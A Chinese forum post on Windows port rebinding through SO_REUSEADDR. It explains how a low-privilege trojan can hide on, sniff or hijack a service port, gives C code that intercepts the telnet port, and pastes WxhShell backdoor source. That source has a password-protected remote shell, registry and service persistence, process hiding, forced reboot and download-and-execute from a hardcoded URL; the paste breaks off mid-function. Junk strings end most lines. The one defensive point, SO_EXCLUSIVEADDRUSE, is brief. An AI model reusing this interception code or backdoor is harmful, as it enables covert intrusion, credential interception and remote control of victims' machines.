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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %{u@{uG0'3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JrzPDb`m  
PCviQ!X  
  saddr.sin_family = AF_INET; DrJ?bG;[  
m$T5lKn}U?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gHg=G+Q@  
 %?ElC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); fVbjU1N  
$n\Pw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p*;!5;OUR  
'nCVjO7o  
  这意味着什么?意味着可以进行如下的攻击: AV5={KK  
[wGj?M}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %K6veB{M  
c1#0o) q*7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }`uyOgGg*  
Q5,zs_j  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3\7MeG`tl  
yHeL&H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J p'^!  
{L-^J`> G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &<A,\ M  
C[J9 =!t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -D`1z?zHra  
1oQw)X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /<rvaR  
%*R, ceuI  
  #include EF0v!XW  
  #include giakEPl  
  #include r,6~%T0  
  #include    >mb}~wx`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j4~(6Imm  
  int main() @8L5 UT  
  { M\]lNQA  
  WORD wVersionRequested; Y%KowgP\  
  DWORD ret; `"5U b,~  
  WSADATA wsaData; ;UQGi}?CD  
  BOOL val; I,-n[k\J  
  SOCKADDR_IN saddr; [l}H:%O,  
  SOCKADDR_IN scaddr; cl& w/OJ#  
  int err; Q((&Q?Vi  
  SOCKET s; %*D=ni#(sT  
  SOCKET sc; Qit&cnO  
  int caddsize; qG9a!sj   
  HANDLE mt; KF%BX ~80C  
  DWORD tid;   y;b#qUd5a  
  wVersionRequested = MAKEWORD( 2, 2 ); m#_BF#  
  err = WSAStartup( wVersionRequested, &wsaData ); DbMVbgz<e  
  if ( err != 0 ) { V]H(;+^P  
  printf("error!WSAStartup failed!\n"); .?Eb{W)^br  
  return -1; UqK.b}s  
  } ]s\r3I]  
  saddr.sin_family = AF_INET; *:%&z?<Fw  
   !0;AFv`\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y{} ub]i  
fn}E1w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @:N8V[*u  
  saddr.sin_port = htons(23); PCT&d)}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Mu3G/|t(  
  { <.h7xZ  
  printf("error!socket failed!\n"); WVP?Ie8  
  return -1; "N+4TfXy  
  } 25X|N=}   
  val = TRUE; 7-744wV}Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (\6E.Z#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WtOjPW  
  { g}_2T\$k  
  printf("error!setsockopt failed!\n"); T?8BAxC?K  
  return -1; _XZ Gj:V  
  } lp`j3)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0#V"   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 be+-p  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6#z8 %k aX  
E !kN h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '2^}de!E  
  { 01.q9AGy  
  ret=GetLastError(); GfONm6A  
  printf("error!bind failed!\n"); L3eF BF/  
  return -1; $kUB%\`  
  } P(aBJ*((~  
  listen(s,2); UC`h o%OBF  
  while(1) "r^RfZ;  
  { a%%7Ew ?  
  caddsize = sizeof(scaddr); EyK!'9~a  
  //接受连接请求 ZF7n]LgSc&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g QBS#NY  
  if(sc!=INVALID_SOCKET) T+Yv5l  
  { dz^HN`AlzC  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }qWnn>h9xv  
  if(mt==NULL) cH_qHXi[G  
  { +`d92Tz  
  printf("Thread Creat Failed!\n"); |f_'(-v`E  
  break; P zJ(Q  
  } qiz(k:\o  
  } [4"(\r\f  
  CloseHandle(mt); \uZpAV)5  
  } $0V+<  
  closesocket(s); Uu7]`Ul  
  WSACleanup(); ] (e ,J  
  return 0; utck{]P  
  }   A@?0(  
  DWORD WINAPI ClientThread(LPVOID lpParam) @b(@`yz.a  
  { wDvu2iC=  
  SOCKET ss = (SOCKET)lpParam; DOWWG!mx  
  SOCKET sc;  q0ktABB  
  unsigned char buf[4096]; v!I z&M:z  
  SOCKADDR_IN saddr; )@! fLA T  
  long num; !oH{=.w  
  DWORD val; 6 IvAs-%W  
  DWORD ret; .$\-{)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2J=`"6c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =%` s-[5b  
  saddr.sin_family = AF_INET; d(^8#4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Bz'.7" ":0  
  saddr.sin_port = htons(23); 0moAmfc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l%+ &V^:  
  { k| OM?\  
  printf("error!socket failed!\n"); SPqJ [ F  
  return -1; C@a I*+@-"  
  } Ou[`)|>  
  val = 100; &$s:h5HoX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GvtK=A$b  
  { `,AOxJ:$  
  ret = GetLastError(); '{WEyhaS  
  return -1; >lIzeEW#  
  } f r~Eb'8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "|JbdI]%P  
  { _i>_Sn1"  
  ret = GetLastError(); `,4yGgD!4  
  return -1; q{h,}[U=  
  } !SuflGx,q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) p@pb[Bx~[  
  { +pYgh8w@  
  printf("error!socket connect failed!\n"); 6aB]&WO1@  
  closesocket(sc); &0kr[Ik.  
  closesocket(ss); 7c\W&ZEmb-  
  return -1; M"*NV(".g  
  } d'(n/9K  
  while(1) WWSycH ?[  
  { b'pwRKpx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _#\Nw0{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 lL zR5445)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 < }K9 50  
  num = recv(ss,buf,4096,0); ]s Euh~F  
  if(num>0) |ru!C(  
  send(sc,buf,num,0); r(S h  
  else if(num==0) eFsl  
  break; T"99m^y  
  num = recv(sc,buf,4096,0); Tu-lc)  
  if(num>0) g7323m1=  
  send(ss,buf,num,0); J4eU6W+{  
  else if(num==0) KKpM=MZ  
  break; qG,h 1  
  } TDw~sxtv&  
  closesocket(ss); E^J &?-  
  closesocket(sc); }@LIb<Y  
  return 0 ; #_^ p~:  
  } wfO -bzdw  
6n/=n%US  
L{~ ]lUo  
========================================================== ft7M9<#v  
n ^9?(a4u  
下边附上一个代码,,WXhSHELL ZC2aIJ  
z?13~e[D  
========================================================== dWzf C@]  
}t#|+T2f  
#include "stdafx.h" !84Lvg0&  
yl?LXc[)  
#include <stdio.h> Q=! lbW  
#include <string.h> I;}U/'RR>  
#include <windows.h> ^+-QY\N j  
#include <winsock2.h> Mx w-f4j  
#include <winsvc.h> Qe F:s|[  
#include <urlmon.h> Ak3^en  
F4~ OsgZ'N  
#pragma comment (lib, "Ws2_32.lib") cAN8'S(s1  
#pragma comment (lib, "urlmon.lib") n',7=~  
wmV=GV8 d  
#define MAX_USER   100 // 最大客户端连接数  MMk9rBf  
#define BUF_SOCK   200 // sock buffer 2Bi]t%<{  
#define KEY_BUFF   255 // 输入 buffer i-w<5pGnf  
mvH}G8  
#define REBOOT     0   // 重启 y~*B%KnEQy  
#define SHUTDOWN   1   // 关机 tX% C5k  
,eTdQI;   
#define DEF_PORT   5000 // 监听端口 G[e,7jev  
8;`B3N7  
#define REG_LEN     16   // 注册表键长度 lI46 f  
#define SVC_LEN     80   // NT服务名长度 \>4>sCC  
I!Dx)>E&  
// 从dll定义API =oXlJ[)h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AHr^G'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /V0Put  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]u<U[l-w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4 dHGU^#WZ  
:*g$@T   
// wxhshell配置信息 5M>p%/  
struct WSCFG { V}vL[=QFZ(  
  int ws_port;         // 监听端口 /Gnt.%y&  
  char ws_passstr[REG_LEN]; // 口令 {{gd}g  
  int ws_autoins;       // 安装标记, 1=yes 0=no k6DJ(.n'%a  
  char ws_regname[REG_LEN]; // 注册表键名 E9k%:&]vd  
  char ws_svcname[REG_LEN]; // 服务名 +z9BWo!{I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1c/<2xO~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 i.^UkN{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [qxpu{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [jN Vk3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L$a{%]I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )6XnxBSH  
m.6uLaD"!}  
}; Ib2&L  
m; =S]3P*  
// default Wxhshell configuration c>c3qjWY/  
struct WSCFG wscfg={DEF_PORT, i:N-Q)<Q*)  
    "xuhuanlingzhe", \8*j"@ !H  
    1, us5Zi#}  
    "Wxhshell", K~]Xx~F  
    "Wxhshell", 9*JxP%8T~X  
            "WxhShell Service", fFC9:9<  
    "Wrsky Windows CmdShell Service", aiX4;'$x!  
    "Please Input Your Password: ", f dJg7r*  
  1, LDw.2E  
  "http://www.wrsky.com/wxhshell.exe", |CQjgI|;  
  "Wxhshell.exe" +R$;LtR  
    }; AvIheR  
G@e;ms1  
// 消息定义模块 r.@UH-2c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q~18JB4WPJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s,C>l_4-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s(5(zcBK  
char *msg_ws_ext="\n\rExit."; ?N+pWdi  
char *msg_ws_end="\n\rQuit."; _ZWU~38PM  
char *msg_ws_boot="\n\rReboot..."; 6V9r[,n  
char *msg_ws_poff="\n\rShutdown..."; IY~I=}  
char *msg_ws_down="\n\rSave to "; }|-8- ;  
B~Z61   
char *msg_ws_err="\n\rErr!";  j AoI`J  
char *msg_ws_ok="\n\rOK!"; "AqLR  
`{yD\qDyX  
char ExeFile[MAX_PATH]; = ?/6hB=7<  
int nUser = 0; .2P3 !KCL  
HANDLE handles[MAX_USER]; 7"eIZ  
int OsIsNt; kVeY} 8  
%;_EWs/z8  
SERVICE_STATUS       serviceStatus; i5WO)9Us  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dqU)(T=C  
a{;+_J3S  
// 函数声明 !}`[s2ji  
int Install(void); V LeYO5'L  
int Uninstall(void); }!*|VdL0  
int DownloadFile(char *sURL, SOCKET wsh); nR Hl Hu  
int Boot(int flag); )g&nI <Mh  
void HideProc(void); u,@ac[!vP  
int GetOsVer(void); va(6?"9  
int Wxhshell(SOCKET wsl); $^e_4]k  
void TalkWithClient(void *cs); p&xj7qwp@F  
int CmdShell(SOCKET sock); SRHD"r^@  
int StartFromService(void); /a$Zzs&xs  
int StartWxhshell(LPSTR lpCmdLine); 1)xj 'n  
/ml+b8@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K)Ya%%6[U#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 55y}t%5  
$Zi {1w  
// 数据结构和表定义 2 =>3B  
SERVICE_TABLE_ENTRY DispatchTable[] = 4;jAdWj3  
{ +U1fa9NSn  
{wscfg.ws_svcname, NTServiceMain}, t=fAG,k5  
{NULL, NULL} n68qxD-X  
}; O#^qd0e'P!  
sV%=z}n=  
// 自我安装 frQ=BV5%6  
int Install(void) EN>a^B+!  
{ 4dz Ym+vJm  
  char svExeFile[MAX_PATH]; (:+Wc^0  
  HKEY key; m*e8j[w#  
  strcpy(svExeFile,ExeFile); qIy9{LF  
Vn^8nS  
// 如果是win9x系统,修改注册表设为自启动 5}]gL  
if(!OsIsNt) { `]&'yt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "|WKK}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d.>O`.Mu)}  
  RegCloseKey(key); )C$Ij9<A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hR>`I0|p&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]'#^ ~.  
  RegCloseKey(key); Y}\3PaUa  
  return 0; 527u d^:  
    } 93.L887  
  }  OtZtl* 5  
} !cO<N~0*5x  
else { )Ps<u-V  
grd fR`3  
// 如果是NT以上系统,安装为系统服务 #b&=CsW`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aXbj pb+  
if (schSCManager!=0) hg^k lQD  
{ NUi&x+  
  SC_HANDLE schService = CreateService .?F`H[^)^u  
  ( 7pH[_]1"  
  schSCManager, A~a7/N6s;  
  wscfg.ws_svcname, VM3)L>x]/  
  wscfg.ws_svcdisp, *:chN' <  
  SERVICE_ALL_ACCESS, >u `Ci>tY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Nc(A5*  
  SERVICE_AUTO_START, +jGUp\h%9;  
  SERVICE_ERROR_NORMAL, Vx n-  
  svExeFile, 1ww~!R  
  NULL, &9n=!S'Md  
  NULL, ;[,#VtD  
  NULL, 9\r5&#<(I  
  NULL, =*WfS^O  
  NULL fb!>@@9Z  
  ); ?zXlLud8  
  if (schService!=0) .6i +_B|  
  { NC x)zJ\S  
  CloseServiceHandle(schService); k~1{|HxrE  
  CloseServiceHandle(schSCManager); )B^T7{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K!G/iz9SB  
  strcat(svExeFile,wscfg.ws_svcname); Kku@!lv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xAf?E%_pi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %(1y  
  RegCloseKey(key); oFu( J  
  return 0; erV&N,cI  
    } aXD|XE%  
  } M[Jy?b)  
  CloseServiceHandle(schSCManager); !;U}ax;AF  
} I"jub kI=Z  
} y(r(q  
~HX'8\5  
return 1; Ed"p|5~  
} *_uGzGB&G  
qS[nf>"  
// 自我卸载 ,5|@vW2@u  
int Uninstall(void) 8r jiW#  
{ gM v0[~;u  
  HKEY key; o l+*Oe  
Oyjhc<6  
if(!OsIsNt) { .ffb*gZ4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W%}zwQ  
  RegDeleteValue(key,wscfg.ws_regname); YR~)07  
  RegCloseKey(key); sTYA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <(o) * Zmo  
  RegDeleteValue(key,wscfg.ws_regname); z`y^o*qc]  
  RegCloseKey(key); yLvU@V@~  
  return 0;  u+]8Sq  
  } s !HOrhV  
} v}"DW?  
} DIc -"5~  
else { Czd)AVK  
%y\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gs=(h*  
if (schSCManager!=0) <~.1>CI9D3  
{ k Rp$[^ma  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }$'T=ay&  
  if (schService!=0) 6.QzT(  
  { .u9,w  
  if(DeleteService(schService)!=0) { 0qo :M3  
  CloseServiceHandle(schService); !JwR[X\f  
  CloseServiceHandle(schSCManager); ~jOk?^6  
  return 0; HS 1zA  
  } 1:q5h*  
  CloseServiceHandle(schService); ~0gHh  
  } e:WKb9nT  
  CloseServiceHandle(schSCManager); Ne2eBmY}(  
} s ` +cQ  
} Q2xzux~T  
<8 25?W|  
return 1; "?{=|%mf  
} [`|gj  
q!8aYw+c  
// 从指定url下载文件 Fpy-? U  
int DownloadFile(char *sURL, SOCKET wsh) *Ag,/Cm]  
{ |`ZW(} ~  
  HRESULT hr; -Y/c]g  
char seps[]= "/"; 4Y}{?]>pu  
char *token; Z[zRZ2'i5  
char *file; >iI-Cs7TD  
char myURL[MAX_PATH]; $2pkh%  
char myFILE[MAX_PATH]; (K|7T{B  
rW0-XLbL5H  
strcpy(myURL,sURL); |jTRIMj%,_  
  token=strtok(myURL,seps); : ]~G9]R`  
  while(token!=NULL) ~myY-nEY  
  { ^1,VvLA+  
    file=token; HO9w"){d$  
  token=strtok(NULL,seps); c`_[q{(^m  
  } nHF%PH#|o  
IkJ-*vI6  
GetCurrentDirectory(MAX_PATH,myFILE); 2umgF  
strcat(myFILE, "\\"); 96S#Q*6+R  
strcat(myFILE, file); S/7?6y~  
  send(wsh,myFILE,strlen(myFILE),0); UB|}+WA3  
send(wsh,"...",3,0); nK9?|@S*'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8~8VoU&  
  if(hr==S_OK) #\$AB_[ot>  
return 0; aqN6.t  
else c R6:AGr  
return 1; z[0B"f  
}w/6"MJ[n  
} |#`qP^E  
m e&'BQ  
// 系统电源模块 78/,rp#'_  
int Boot(int flag) 0}I aWd^4  
{ O p,_d^  
  HANDLE hToken; |t uh/e@dx  
  TOKEN_PRIVILEGES tkp; |'N)HH>;  
[^2c9K^NK  
  if(OsIsNt) { 0hM!#BU5K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R>n=_C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ($r-&]y  
    tkp.PrivilegeCount = 1; $irF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m>ApN@n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gX!-s*{E  
if(flag==REBOOT) { \d}>@@U&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .h[yw$z6  
  return 0; LF\HmKM,  
} bOS; 1~~  
else { /K\]zPq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EK$3T5e  
  return 0; nv/'C=+L  
} $ucA.9pJ  
  } M A  
  else { E]dmXH8A  
if(flag==REBOOT) { oA]rwa UX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aV`_@F-8  
  return 0; g=]VQ;{  
} VH7nyqEM  
else { ![9um sx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Eohv P[i  
  return 0; ?]PE!7H  
} ?n(OH~@$i  
} %+HZ4M+hV  
yU'<b.]  
return 1; <S68UN(Ke  
} 0Tq=nYZA  
2$s2u;  
// win9x进程隐藏模块 =C 7WQ  
void HideProc(void) fv/Nf"  
{ qvG@kuz8g5  
4Be'w`Q {  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `R6dnbH  
  if ( hKernel != NULL ) R]<N";-  
  { jiqE^j3;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !N'HL-oT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |Q?^Ba  
    FreeLibrary(hKernel); XDohfa _  
  } }ej>uZVe<  
&hu>yH>j  
return; ~kFL[Asnaf  
} F_F02:t  
! 8*l U2  
// 获取操作系统版本 FS^~e-A  
int GetOsVer(void) cK.z&y0]  
{ 85?;\ 5%-  
  OSVERSIONINFO winfo; i8->3uB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,9Si 3vn  
  GetVersionEx(&winfo); D1R$s*{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uN8RG_Mb  
  return 1; ^xm%~   
  else Mqv[7.|  
  return 0; h0a|R4J  
} D0^h;wJ=4+  
/odDJxJ k  
// 客户端句柄模块 .bY R  
int Wxhshell(SOCKET wsl) `IV7\}I|  
{ R9\ )a2  
  SOCKET wsh; Yhte&,D"  
  struct sockaddr_in client; n#^ii/H  
  DWORD myID; e2qSU[  
A<''x'\/  
  while(nUser<MAX_USER) gy>B 5ie  
{ {hFH6]TA  
  int nSize=sizeof(client); $Da?)Hz'F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y #zO1Nig`  
  if(wsh==INVALID_SOCKET) return 1; Z5|BwM  
);;UA6CD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T:Nc^QP|tm  
if(handles[nUser]==0) z3I |jy1  
  closesocket(wsh); /V GI@"^v  
else uH]oHh!}j  
  nUser++; c{ ([U  
  } pZz\o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [ylRq7^e  
7YFEyX10d  
  return 0; \{ve6`7Rn  
} #MFIsx)r  
+/ rt'0o  
// 关闭 socket C),i#v  
void CloseIt(SOCKET wsh) Z+=M_{`{  
{ 1Li*n6tLX`  
closesocket(wsh); slzB#  
nUser--; y9b%P]i  
ExitThread(0); <*(^QOM  
} LUdXAi"f  
!_P&SmK3  
// 客户端请求句柄 ;SIWWuk  
void TalkWithClient(void *cs) _iL?kf  
{ -Xx4:S  
pX+4B=*  
  SOCKET wsh=(SOCKET)cs; S$ffTdRz  
  char pwd[SVC_LEN]; :V1j*)  
  char cmd[KEY_BUFF]; tI)|y?q  
char chr[1]; _n1[(I  
int i,j; "VDMO^  
Al=ByX@  
  while (nUser < MAX_USER) { B"8jEYT5  
T'{9!By,P  
if(wscfg.ws_passstr) { k/(]1QnW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NfUt\ p*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j#0JD!Vr  
  //ZeroMemory(pwd,KEY_BUFF); ||?@pn\  
      i=0; !Au#j^5K-o  
  while(i<SVC_LEN) { Q(36RX%@  
Q':hmulT!  
  // 设置超时 e3ce?gk  
  fd_set FdRead; Lw2VdFi>E&  
  struct timeval TimeOut; rr,w/[  
  FD_ZERO(&FdRead); \W]gy_=D{  
  FD_SET(wsh,&FdRead); .cbC2t95  
  TimeOut.tv_sec=8; VD< z]@  
  TimeOut.tv_usec=0; 2vWn(6`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q8MIpa!:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7Ja*T@ !h  
;tSA Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uo71C4ev  
  pwd=chr[0]; `BVmuUMm  
  if(chr[0]==0xd || chr[0]==0xa) { ]f0OmUHR5i  
  pwd=0; 1 +[sM  
  break; !I.}[9N  
  } '%82pZ,?  
  i++; Nte$cTjX  
    } #*:^\z_Jd  
$xWUzg1<U  
  // 如果是非法用户,关闭 socket q k 6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8CZ%-}-%$  
} k/D{&(F ~  
5'c#pm\Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4Y$\QZO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5C&*PJ~WA  
:eSsqt9]9  
while(1) { &7oL2 Wf  
7[w<v(Rc  
  ZeroMemory(cmd,KEY_BUFF); vFB^h1k~.M  
ZP5 !O[Ut  
      // 自动支持客户端 telnet标准   IzJq:G.  
  j=0; B0%=! &  
  while(j<KEY_BUFF) { [orL.D]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [iEz?1.,  
  cmd[j]=chr[0]; S>r",S  
  if(chr[0]==0xa || chr[0]==0xd) { -5 8q 6yA  
  cmd[j]=0; 9 @xl{S-  
  break; z}B 39L  
  } J|].h  
  j++; ?*%_:fB  
    } |/vJ+aKq  
ykx^RmD`~  
  // 下载文件 f um.G{}  
  if(strstr(cmd,"http://")) { P.qzP/Ny  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I{jvUYrKH  
  if(DownloadFile(cmd,wsh)) )9:5?,SO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EG;E !0  
  else  RQb}t,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @1Q-.54a  
  } Pal=I)  
  else { 0'fswa)  
XS">`9o!  
    switch(cmd[0]) { kJp~'\b  
  tw>2<zmSi%  
  // 帮助 zD79M  
  case '?': { p*&0d@'r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?UZt30|1  
    break; ?)y^ [9  
  } [104;g <  
  // 安装 6oNcj_?7?q  
  case 'i': { ~e 1l7H;  
    if(Install()) b.@a,:"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {VE h@yn  
    else z.!N|"4yr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L_NiU;cr%  
    break; e[fOm0^.c  
    } *B"Y]6$  
  // 卸载 ylKK!vRHT  
  case 'r': { v$W[(  
    if(Uninstall()) J6AHc"k.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `(sb  
    else [YfoQ1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N);w~)MYh  
    break; wOl?(w=|  
    } WXl+w7jr  
  // 显示 wxhshell 所在路径 ksOGCd^G7  
  case 'p': { 6JDHwV  
    char svExeFile[MAX_PATH]; >w@+cUto  
    strcpy(svExeFile,"\n\r"); =O![>Fu5  
      strcat(svExeFile,ExeFile); t82'K@sq  
        send(wsh,svExeFile,strlen(svExeFile),0); lGl'A}]#$  
    break; OegeZV  
    } ~0a5  
  // 重启 6(Pan%  
  case 'b': { `X6JZxGyd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {P]C>  
    if(Boot(REBOOT)) W(`QbNJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_@cI(P  
    else { 3KkfQ{  
    closesocket(wsh); XiE`_%NW  
    ExitThread(0); pn gto  
    } TZAd{EZa  
    break; G @..?>  
    } $/++afi m  
  // 关机 {`QHg O  
  case 'd': { '6#G$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (~=.[Y  
